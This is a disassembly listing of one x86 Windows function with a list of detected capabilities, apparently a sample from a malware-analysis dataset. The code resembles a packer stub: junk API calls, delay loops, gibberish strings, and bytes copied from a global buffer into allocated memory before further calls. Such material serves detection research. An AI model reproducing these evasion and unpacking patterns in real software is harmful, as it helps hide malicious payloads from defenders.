Function at 0x4769e0
Capabilities:
Accept command line arguments
Connect pipe
Create directory
Get hostname
Identify system language via api
Manipulate console buffer
Query environment variable
Read pipe
Write pipe

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x1c88
call fcn.004085d0
mov eax, dword [0x47a004]
xor eax, esp
mov dword [esp + 0x1c84], eax
push esi
xor esi, esi
push edi
xor eax, eax
cmp eax, 0x4fa
jne 0x476a1d
mov ecx, dword [0x47b884]
add ecx, 0x9e49
mov dword [0x47dda4], ecx
cmp dword [0x47dda4], 0xe89
jne 0x476a3a
or dword [0x47c5a4], 0xffffffff
mov dword [0x47c5a0], 0xec58acac
inc eax
cmp eax, 0x1239776
jl 0x476a04
xor edi, edi
cmp edi, 0x55ded1
jne 0x476a56
mov eax, dword [0x47b878]
mov dword [0x47ded4], eax
cmp dword [0x47dda4], 0x3c
jne 0x476a65
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
inc edi
cmp edi, 0x5ea53c
jl 0x476a44
cmp dword [0x47dda4], 0x7c
jne 0x476ba2
push esi
lea eax, [esp + 0x2c]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
push esi
lea eax, [esp + 0x8c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryW]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalSize]
push esi
call dword [sym.imp.KERNEL32.dll_FindAtomA]
lea eax, [esp + 0x20]
push eax
lea eax, [esp + 0x88c]
push eax
push esi
push str.fimixonuyifuditivapuxaxiludoligijugeyasobuyipupiyesucabekireheyax
push str.gotozaxepitahufamotagofafisoresivahilawisuh
push str.payovetufusacumowuyecarosahaku
call dword [sym.imp.KERNEL32.dll_SearchPathW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetConsoleMode]
push 0x2e
lea eax, [esp + 0x5c]
push esi
push eax
mov dword [esp + 0x60], esi
call fcn.00405190
add esp, 0xc
push esi
lea eax, [esp + 0x58]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetDefaultCommConfigW]
push esi
push esi
lea eax, [esp + 0x1490]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesW]
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor eax, eax
mov word [esp + 8], ax
lea edi, [esp + 0xa]
stosw word es:[edi], ax
mov word [esp + 0xc], ax
lea edi, [esp + 0xe]
stosw word es:[edi], ax
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x10]
lea eax, [esp + 0x18]
push dword [esp + 0x10]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteConsoleOutputW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetNumaNodeProcessorMask]
push esi
call dword [sym.imp.KERNEL32.dll_DebugActiveProcess]
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push esi
lea eax, [esp + 0x108c]
push eax
push esi
call edi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumDateFormatsW]
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
cmp dword [0x47dda4], 0x2d
jne 0x476b7b
lea eax, [esp + 0x2c]
push eax
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
cmp dword [0x47dda4], 0x54
jne 0x476b90
push esi
push esi
push esi
call edi
push esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push esi
call fcn.00401498
pop ecx
push esi
call fcn.00401559
fstp st(0)
add esp, 4
xor edi, edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
lea eax, [esp + 0x18]
push eax
lea eax, [esp + 0x14]
push eax
lea eax, [esp + 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTimes]
cmp edi, 0x24c06
jg 0x476bd2
inc edi
cmp edi, 0xeff11
jl 0x476ba4
jmp 0x476be6
cmp dword [0x47dda4], 0xa
jne 0x476be6
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FoldStringW]
cmp dword [0x47dda4], 0x2a
jne 0x476c49
push esi
mov dword [0x47dd98], esi
mov dword [0x47dd9c], esi
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthA]
push esi
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CallNamedPipeW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesLengthA]
push esi
call fcn.0040104f
pop ecx
push esi
call fcn.0040104f
pop ecx
call fcn.004095a4
push esi
push esi
call fcn.0040100f
push esi
push esi
push esi
push esi
call fcn.00401448
push esi
call fcn.00401206
add esp, 0x1c
push dword [0x47dda4]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ecx, dword [0x47dda4]
xor edi, edi
mov dword [0x47dbf0], eax
cmp ecx, esi
jbe 0x476c8e
mov edx, dword [0x47ded4]
mov dl, byte [edx + edi + 0x9e49]
mov byte [eax + edi], dl
cmp ecx, 0x5ab
jne 0x476c89
mov dword [0x47dbf4], 0x19b0
inc edi
cmp edi, ecx
jb 0x476c67
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
call fcn.00476857
call fcn.0047697d
xor edi, edi
cmp dword [0x47dda4], 0x41
jne 0x476cc5
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFlags]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetStdHandle]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
cmp edi, 0xd606b
jne 0x476cd2
call fcn.0047684c
cmp dword [0x47dda4], 0xc
jne 0x476ce6
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
inc edi
cmp edi, 0x24e87d
jl 0x476ca5
mov dword [0x47dd94], 0x8e46aec0
cmp esi, 0x408e
jle 0x476d0b
cmp dword [esp + 0x34], 0xf5bed7
jne 0x476d14
inc esi
cmp esi, 0x687ed2
jl 0x476cf9
mov ecx, dword [esp + 0x1c8c]
pop edi
pop esi
xor ecx, esp
call fcn.00401000
mov esp, ebp
pop ebp
ret